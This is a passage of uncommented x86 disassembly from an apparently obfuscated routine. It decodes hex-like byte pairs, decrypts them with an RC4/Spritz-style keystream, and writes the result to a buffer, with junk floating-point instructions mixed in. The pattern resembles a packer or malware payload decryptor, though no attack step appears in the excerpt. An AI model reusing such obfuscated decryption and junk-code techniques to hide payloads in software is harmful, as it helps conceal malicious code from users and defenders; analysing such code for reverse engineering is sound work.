shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x332b]
add ecx, eax
mov byte [ebp - 0x332b], cl
movzx edx, byte [ebp - 0x332d]
movzx eax, byte [ebp - 0x3291]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x325c]
shl ecx, 0
lea esi, [ebp - 0x1f18]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3292]
shl ecx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x32d7]
shl eax, 0
lea esi, [ebp - 0x1f18]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x332b]
shl eax, 0
lea esi, [ebp - 0x1f18]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3292], dl
mov dl, byte [ebp - 0x332d]
mov byte [ebp - 0x32d7], dl
mov al, byte [ebp - 0x3292]
mov byte [ebp - 0x345d], al
cmp dword [ebp - 0x33ec], 0
jbe 0x48a4d4
mov ecx, dword [ebp - 0x33ec]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x930]
mov al, byte [ebp - 0x345d]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x33ec]
add ecx, 1
mov dword [ebp - 0x33ec], ecx
mov edx, dword [ebp - 0x374c]
add edx, 1
mov dword [ebp - 0x374c], edx
mov eax, dword [ebp - 0x33ec]
shl eax, 1
mov dword [ebp - 0x3e1c], eax
mov ecx, dword [ebp - 0x3e1c]
shl ecx, 0
add ecx, dword [ebp - 0x3f44]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c38], edx
mov dword [ebp - 0x3c1c], 0x91
mov eax, dword [ebp - 0x33ec]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3e20], eax
mov ecx, dword [ebp - 0x3e20]
shl ecx, 0
add ecx, dword [ebp - 0x3f44]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c84], edx
mov dword [ebp - 0x3cb8], 0x13
mov eax, dword [ebp - 0x3c38]
sub eax, dword [ebp - 0x3c1c]
mov dword [ebp - 0x3cbc], eax
mov ecx, dword [ebp - 0x3c84]
sub ecx, dword [ebp - 0x3cb8]
mov dword [ebp - 0x3cc0], ecx
mov edx, dword [ebp - 0x3cbc]
shl edx, 4
mov dword [ebp - 0x3e24], edx
mov eax, dword [ebp - 0x3cc0]
mov dword [ebp - 0x3e28], eax
mov ecx, dword [ebp - 0x3e24]
or ecx, dword [ebp - 0x3e28]
mov dword [ebp - 0x3e2c], ecx
mov dl, byte [ebp - 0x3e2c]
mov byte [ebp - 0x332d], dl
movzx eax, byte [ebp - 0x32d7]
shl eax, 0
lea ecx, [ebp - 0x1f18]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x332a], dl
movzx eax, byte [ebp - 0x325c]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3291]
add eax, edx
mov byte [ebp - 0x3291], al
mov cl, byte [ebp - 0x325c]
add cl, 1
mov byte [ebp - 0x325c], cl
movzx edx, byte [ebp - 0x3291]
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [ebp - 0x32d7]
shl ecx, 0
lea esi, [ebp - 0x1f18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3292]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [ebp - 0x3291]
shl edx, 0
lea esi, [ebp - 0x1f18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325c]
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [ebp - 0x3292]
shl eax, 0
lea esi, [ebp - 0x1f18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325c]
shl edx, 0
lea eax, [ebp - 0x1f18]
mov cl, byte [ebp - 0x332a]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x332a]
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x332b]
add edx, ecx
mov byte [ebp - 0x332b], dl
movzx eax, byte [ebp - 0x332d]
movzx ecx, byte [ebp - 0x3291]
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x325c]
shl edx, 0
lea esi, [ebp - 0x1f18]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3292]
shl edx, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x32d7]
shl ecx, 0
lea esi, [ebp - 0x1f18]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x332b]
shl ecx, 0
lea esi, [ebp - 0x1f18]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3292], al
mov al, byte [ebp - 0x332d]
mov byte [ebp - 0x32d7], al
mov cl, byte [ebp - 0x3292]
mov byte [ebp - 0x345d], cl
cmp dword [ebp - 0x33ec], 0
jbe 0x48a795
mov edx, dword [ebp - 0x33ec]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x930]
mov cl, byte [ebp - 0x345d]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x33ec]
add edx, 1
mov dword [ebp - 0x33ec], edx
mov eax, dword [ebp - 0x374c]
add eax, 1
mov dword [ebp - 0x374c], eax
mov ecx, dword [ebp - 0x33ec]
shl ecx, 1
mov dword [ebp - 0x3e1c], ecx
mov edx, dword [ebp - 0x3e1c]
shl edx, 0
add edx, dword [ebp - 0x3f44]
movzx eax, byte [edx]
mov dword [ebp - 0x3c38], eax
mov dword [ebp - 0x3c1c], 0x91
mov ecx, dword [ebp - 0x33ec]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3e20], ecx
mov edx, dword [ebp - 0x3e20]
shl edx, 0
add edx, dword [ebp - 0x3f44]
movzx eax, byte [edx]
mov dword [ebp - 0x3c84], eax
mov dword [ebp - 0x3cb8], 0x13
mov ecx, dword [ebp - 0x3c38]
sub ecx, dword [ebp - 0x3c1c]
mov dword [ebp - 0x3cbc], ecx
mov edx, dword [ebp - 0x3c84]
sub edx, dword [ebp - 0x3cb8]
mov dword [ebp - 0x3cc0], edx
mov eax, dword [ebp - 0x3cbc]
shl eax, 4
mov dword [ebp - 0x3e24], eax
mov ecx, dword [ebp - 0x3cc0]
mov dword [ebp - 0x3e28], ecx
mov edx, dword [ebp - 0x3e24]
or edx, dword [ebp - 0x3e28]
mov dword [ebp - 0x3e2c], edx
mov al, byte [ebp - 0x3e2c]
mov byte [ebp - 0x332d], al
movzx ecx, byte [ebp - 0x32d7]
shl ecx, 0
lea edx, [ebp - 0x1f18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x332a], al
movzx ecx, byte [ebp - 0x325c]
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3291]
add ecx, eax
mov byte [ebp - 0x3291], cl
mov dl, byte [ebp - 0x325c]
add dl, 1
mov byte [ebp - 0x325c], dl
movzx eax, byte [ebp - 0x3291]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [ebp - 0x32d7]
shl edx, 0
lea esi, [ebp - 0x1f18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3292]
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [ebp - 0x3291]
shl eax, 0
lea esi, [ebp - 0x1f18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325c]
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [ebp - 0x3292]
shl ecx, 0
lea esi, [ebp - 0x1f18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325c]
shl eax, 0
lea ecx, [ebp - 0x1f18]
mov dl, byte [ebp - 0x332a]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x332a]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x332b]
add eax, edx
mov byte [ebp - 0x332b], al
movzx ecx, byte [ebp - 0x332d]
movzx edx, byte [ebp - 0x3291]
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x325c]
shl eax, 0
lea esi, [ebp - 0x1f18]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3292]
shl eax, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x32d7]
shl edx, 0
lea esi, [ebp - 0x1f18]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x332b]
shl edx, 0
lea esi, [ebp - 0x1f18]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3292], cl
mov cl, byte [ebp - 0x332d]
mov byte [ebp - 0x32d7], cl
mov dl, byte [ebp - 0x3292]
mov byte [ebp - 0x345d], dl
cmp dword [ebp - 0x33ec], 0
jbe 0x48aa55
mov eax, dword [ebp - 0x33ec]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x930]
mov dl, byte [ebp - 0x345d]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x374c]
add eax, 4
mov dword [ebp - 0x374c], eax
mov ecx, dword [ebp - 0x33ec]
add ecx, 1
mov dword [ebp - 0x4ab4], ecx
jmp 0x48aa84
mov edx, dword [ebp - 0x4ab4]
add edx, 1
mov dword [ebp - 0x4ab4], edx
mov eax, dword [ebp - 0x4ab4]
cmp eax, dword [ebp - 0x374c]
jge 0x48ad4b
mov ecx, dword [ebp - 0x33ec]
add ecx, 1
mov dword [ebp - 0x33ec], ecx
mov edx, dword [ebp - 0x33ec]
shl edx, 1
mov dword [ebp - 0x3e1c], edx
mov eax, dword [ebp - 0x3e1c]
shl eax, 0
add eax, dword [ebp - 0x3f44]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c38], ecx
mov dword [ebp - 0x3c1c], 0x91
mov edx, dword [ebp - 0x33ec]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3e20], edx
mov eax, dword [ebp - 0x3e20]
shl eax, 0
add eax, dword [ebp - 0x3f44]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c84], ecx
mov dword [ebp - 0x3cb8], 0x13
mov edx, dword [ebp - 0x3c38]
sub edx, dword [ebp - 0x3c1c]
mov dword [ebp - 0x3cbc], edx
mov eax, dword [ebp - 0x3c84]
sub eax, dword [ebp - 0x3cb8]
mov dword [ebp - 0x3cc0], eax
mov ecx, dword [ebp - 0x3cbc]
shl ecx, 4
mov dword [ebp - 0x3e24], ecx
mov edx, dword [ebp - 0x3cc0]
mov dword [ebp - 0x3e28], edx
mov eax, dword [ebp - 0x3e24]
or eax, dword [ebp - 0x3e28]
mov dword [ebp - 0x3e2c], eax
mov cl, byte [ebp - 0x3e2c]
mov byte [ebp - 0x332d], cl
movzx edx, byte [ebp - 0x32d7]
shl edx, 0
lea eax, [ebp - 0x1f18]
mov cl, byte [edx + eax]
mov byte [ebp - 0x332a], cl
movzx edx, byte [ebp - 0x325c]
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3291]
add edx, ecx
mov byte [ebp - 0x3291], dl
mov al, byte [ebp - 0x325c]
add al, 1
mov byte [ebp - 0x325c], al
movzx ecx, byte [ebp - 0x3291]
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [ebp - 0x32d7]
shl eax, 0
lea esi, [ebp - 0x1f18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3292]
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [ebp - 0x3291]
shl ecx, 0
lea esi, [ebp - 0x1f18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325c]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [ebp - 0x3292]
shl edx, 0
lea esi, [ebp - 0x1f18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325c]
shl ecx, 0
lea edx, [ebp - 0x1f18]
mov al, byte [ebp - 0x332a]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x332a]
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x332b]
add ecx, eax
mov byte [ebp - 0x332b], cl
movzx edx, byte [ebp - 0x332d]
movzx eax, byte [ebp - 0x3291]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x325c]
shl ecx, 0
lea esi, [ebp - 0x1f18]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3292]
shl ecx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x32d7]
shl eax, 0
lea esi, [ebp - 0x1f18]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x332b]
shl eax, 0
lea esi, [ebp - 0x1f18]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3292], dl
mov dl, byte [ebp - 0x332d]
mov byte [ebp - 0x32d7], dl
mov al, byte [ebp - 0x3292]
mov byte [ebp - 0x345d], al
cmp dword [ebp - 0x33ec], 0
jbe 0x48ad46
mov ecx, dword [ebp - 0x33ec]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x930]
mov al, byte [ebp - 0x345d]
mov byte [ecx + edx], al
jmp 0x48aa75
mov ecx, dword [ebp - 0x374c]
add ecx, 1
mov dword [ebp - 0x374c], ecx
mov edx, dword [ebp - 0x374c]
add edx, 5
mov dword [ebp - 0x374c], edx
mov eax, dword [ebp - 0x33ec]
add eax, 1
mov dword [ebp - 0x4ab4], eax
jmp 0x48ad89
mov ecx, dword [ebp - 0x4ab4]
add ecx, 1
mov dword [ebp - 0x4ab4], ecx
mov edx, dword [ebp - 0x4ab4]
cmp edx, dword [ebp - 0x374c]
jge 0x48b25b
mov eax, dword [ebp - 0x33ec]
add eax, 1
mov dword [ebp - 0x33ec], eax
mov ecx, dword [ebp - 0x33ec]
shl ecx, 1
mov dword [ebp - 0x3e1c], ecx
mov edx, dword [ebp - 0x3e1c]
shl edx, 0
add edx, dword [ebp - 0x3f44]
movzx eax, byte [edx]
mov dword [ebp - 0x3c38], eax
mov dword [ebp - 0x3c1c], 0x91
mov ecx, dword [ebp - 0x33ec]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3e20], ecx
mov edx, dword [ebp - 0x3e20]
shl edx, 0
add edx, dword [ebp - 0x3f44]
movzx eax, byte [edx]
mov dword [ebp - 0x3c84], eax
mov dword [ebp - 0x3cb8], 0x13
mov ecx, dword [ebp - 0x3c38]
sub ecx, dword [ebp - 0x3c1c]
mov dword [ebp - 0x3cbc], ecx
mov edx, dword [ebp - 0x3c84]
sub edx, dword [ebp - 0x3cb8]
mov dword [ebp - 0x3cc0], edx
mov eax, dword [ebp - 0x3cbc]
shl eax, 4
mov dword [ebp - 0x3e24], eax
mov ecx, dword [ebp - 0x3cc0]
mov dword [ebp - 0x3e28], ecx
mov edx, dword [ebp - 0x3e24]
or edx, dword [ebp - 0x3e28]
mov dword [ebp - 0x3e2c], edx
mov al, byte [ebp - 0x3e2c]
mov byte [ebp - 0x332d], al
movzx ecx, byte [ebp - 0x32d7]
shl ecx, 0
lea edx, [ebp - 0x1f18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x332a], al
movzx ecx, byte [ebp - 0x325c]
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3291]
add ecx, eax
mov byte [ebp - 0x3291], cl
mov dl, byte [ebp - 0x325c]
add dl, 1
mov byte [ebp - 0x325c], dl
movzx eax, byte [ebp - 0x3291]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [ebp - 0x32d7]
shl edx, 0
lea esi, [ebp - 0x1f18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movss xmm0, dword [0x9d5600]
movss dword [ebp - 0x3f40], xmm0
movss xmm0, dword [0x9d53d0]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [0x9d5188]
movss dword [ebp - 0x3808], xmm0
movss xmm0, dword [ebp - 0x3564]
subss xmm0, dword [ebp - 0x3808]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [ebp - 0x3564]
addss xmm0, dword [ebp - 0x3808]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [ebp - 0x3f40]
subss xmm0, dword [ebp - 0x3808]
movss dword [ebp - 0x3f40], xmm0
movss xmm0, dword [ebp - 0x3808]
comiss xmm0, dword [ebp - 0x3564]
jbe 0x48b09d
movss xmm0, dword [ebp - 0x3f40]
mulss xmm0, dword [ebp - 0x3564]
movss dword [ebp - 0x3f40], xmm0
movss xmm0, dword [ebp - 0x3808]
subss xmm0, dword [ebp - 0x3f40]
movss dword [ebp - 0x3808], xmm0
movss xmm0, dword [ebp - 0x3f40]
mulss xmm0, dword [ebp - 0x3564]
movss dword [ebp - 0x3f40], xmm0
movss xmm0, dword [ebp - 0x3564]
divss xmm0, dword [ebp - 0x3808]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [ebp - 0x3564]
subss xmm0, dword [ebp - 0x3808]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [ebp - 0x3f40]
mulss xmm0, dword [ebp - 0x3564]
movss dword [ebp - 0x3f40], xmm0
movss xmm0, dword [ebp - 0x3564]
comiss xmm0, dword [ebp - 0x3808]
jbe 0x48b053
movss xmm0, dword [ebp - 0x3808]
subss xmm0, dword [ebp - 0x3f40]
movss dword [ebp - 0x3808], xmm0
movss xmm0, dword [ebp - 0x3564]
addss xmm0, dword [ebp - 0x3808]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [ebp - 0x3564]
subss xmm0, dword [ebp - 0x3808]
movss dword [ebp - 0x3564], xmm0
jmp 0x48b09b
movss xmm0, dword [ebp - 0x3564]
subss xmm0, dword [ebp - 0x3f40]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [ebp - 0x3564]
addss xmm0, dword [ebp - 0x3f40]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [ebp - 0x3808]
addss xmm0, dword [ebp - 0x3564]
movss dword [ebp - 0x3808], xmm0
jmp 0x48b10b
movzx ecx, byte [ebp - 0x3292]
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [ebp - 0x3291]
shl eax, 0
lea esi, [ebp - 0x1f18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movss xmm0, dword [ebp - 0x3f40]
addss xmm0, dword [ebp - 0x3808]
movss dword [ebp - 0x3f40], xmm0
movss xmm0, dword [ebp - 0x3808]
addss xmm0, dword [ebp - 0x3564]
movss dword [ebp - 0x3808], xmm0
movss xmm0, dword [ebp - 0x3808]
mulss xmm0, dword [ebp - 0x3564]
movss dword [ebp - 0x3808], xmm0
movzx edx, byte [ebp - 0x325c]
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [ebp - 0x3292]
shl ecx, 0
lea esi, [ebp - 0x1f18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325c]
shl eax, 0
lea ecx, [ebp - 0x1f18]
mov dl, byte [ebp - 0x332a]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x332a]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x332b]
add eax, edx
mov byte [ebp - 0x332b], al
movzx ecx, byte [ebp - 0x332d]
movzx edx, byte [ebp - 0x3291]
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x325c]
shl eax, 0
lea esi, [ebp - 0x1f18]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3292]
shl eax, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x32d7]
shl edx, 0
lea esi, [ebp - 0x1f18]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x332b]
shl edx, 0
lea esi, [ebp - 0x1f18]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3292], cl
mov cl, byte [ebp - 0x332d]
mov byte [ebp - 0x32d7], cl
mov dl, byte [ebp - 0x3292]
mov byte [ebp - 0x345d], dl
cmp dword [ebp - 0x33ec], 0
jbe 0x48b256
mov eax, dword [ebp - 0x33ec]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x930]
mov dl, byte [ebp - 0x345d]
mov byte [eax + ecx], dl
jmp 0x48ad7a
mov eax, dword [ebp - 0x374c]
add eax, 1
mov dword [ebp - 0x374c], eax
mov ecx, dword [ebp - 0x33ec]
add ecx, 1
mov dword [ebp - 0x33ec], ecx
mov edx, dword [ebp - 0x374c]
add edx, 1
mov dword [ebp - 0x374c], edx
mov eax, dword [ebp - 0x33ec]
shl eax, 1
mov dword [ebp - 0x3e1c], eax
mov ecx, dword [ebp - 0x3e1c]
shl ecx, 0
add ecx, dword [ebp - 0x3f44]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c38], edx
mov dword [ebp - 0x3c1c], 0x91
mov eax, dword [ebp - 0x33ec]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3e20], eax
mov ecx, dword [ebp - 0x3e20]
shl ecx, 0
add ecx, dword [ebp - 0x3f44]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c84], edx
mov dword [ebp - 0x3cb8], 0x13
mov eax, dword [ebp - 0x3c38]
sub eax, dword [ebp - 0x3c1c]
mov dword [ebp - 0x3cbc], eax
mov ecx, dword [ebp - 0x3c84]
sub ecx, dword [ebp - 0x3cb8]
mov dword [ebp - 0x3cc0], ecx
mov edx, dword [ebp - 0x3cbc]
shl edx, 4
mov dword [ebp - 0x3e24], edx
mov eax, dword [ebp - 0x3cc0]
mov dword [ebp - 0x3e28], eax
mov ecx, dword [ebp - 0x3e24]
or ecx, dword [ebp - 0x3e28]
mov dword [ebp - 0x3e2c], ecx
mov dl, byte [ebp - 0x3e2c]
mov byte [ebp - 0x332d], dl
movzx eax, byte [ebp - 0x32d7]
shl eax, 0
lea ecx, [ebp - 0x1f18]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x332a], dl
movzx eax, byte [ebp - 0x325c]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3291]
add eax, edx
mov byte [ebp - 0x3291], al
mov cl, byte [ebp - 0x325c]
add cl, 1
mov byte [ebp - 0x325c], cl
movzx edx, byte [ebp - 0x3291]
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [ebp - 0x32d7]
shl ecx, 0
lea esi, [ebp - 0x1f18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3292]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [ebp - 0x3291]
shl edx, 0
lea esi, [ebp - 0x1f18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325c]
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [ebp - 0x3292]
shl eax, 0
lea esi, [ebp - 0x1f18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325c]
shl edx, 0
lea eax, [ebp - 0x1f18]
mov cl, byte [ebp - 0x332a]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x332a]
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x332b]
add edx, ecx
mov byte [ebp - 0x332b], dl
movzx eax, byte [ebp - 0x332d]
movzx ecx, byte [ebp - 0x3291]
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x325c]
shl edx, 0
lea esi, [ebp - 0x1f18]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3292]
shl edx, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x32d7]
shl ecx, 0
lea esi, [ebp - 0x1f18]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x332b]
shl ecx, 0
lea esi, [ebp - 0x1f18]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3292], al
mov al, byte [ebp - 0x332d]
mov byte [ebp - 0x32d7], al
mov cl, byte [ebp - 0x3292]
mov byte [ebp - 0x345d], cl
cmp dword [ebp - 0x33ec], 0
jbe 0x48b52b
mov edx, dword [ebp - 0x33ec]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x930]
mov cl, byte [ebp - 0x345d]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x33ec]
add edx, 1
mov dword [ebp - 0x33ec], edx
mov eax, dword [ebp - 0x374c]
add eax, 1
mov dword [ebp - 0x374c], eax
mov ecx, dword [ebp - 0x33ec]
shl ecx, 1
mov dword [ebp - 0x3e1c], ecx
mov edx, dword [ebp - 0x3e1c]
shl edx, 0
add edx, dword [ebp - 0x3f44]
movzx eax, byte [edx]
mov dword [ebp - 0x3c38], eax
mov dword [ebp - 0x3c1c], 0x91
mov ecx, dword [ebp - 0x33ec]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3e20], ecx
mov edx, dword [ebp - 0x3e20]
shl edx, 0
add edx, dword [ebp - 0x3f44]
movzx eax, byte [edx]
mov dword [ebp - 0x3c84], eax
mov dword [ebp - 0x3cb8], 0x13
mov ecx, dword [ebp - 0x3c38]
sub ecx, dword [ebp - 0x3c1c]
mov dword [ebp - 0x3cbc], ecx
mov edx, dword [ebp - 0x3c84]
sub edx, dword [ebp - 0x3cb8]
mov dword [ebp - 0x3cc0], edx
mov eax, dword [ebp - 0x3cbc]
shl eax, 4
mov dword [ebp - 0x3e24], eax
mov ecx, dword [ebp - 0x3cc0]
mov dword [ebp - 0x3e28], ecx
mov edx, dword [ebp - 0x3e24]
or edx, dword [ebp - 0x3e28]
mov dword [ebp - 0x3e2c], edx
mov al, byte [ebp - 0x3e2c]
mov byte [ebp - 0x332d], al
movzx ecx, byte [ebp - 0x32d7]
shl ecx, 0
lea edx, [ebp - 0x1f18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x332a], al
movzx ecx, byte [ebp - 0x325c]
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3291]
add ecx, eax
mov byte [ebp - 0x3291], cl
mov dl, byte [ebp - 0x325c]
add dl, 1
mov byte [ebp - 0x325c], dl
movzx eax, byte [ebp - 0x3291]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [ebp - 0x32d7]
shl edx, 0
lea esi, [ebp - 0x1f18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3292]
shl ecx, 0
lea edx, [ebp - 0x1f18]
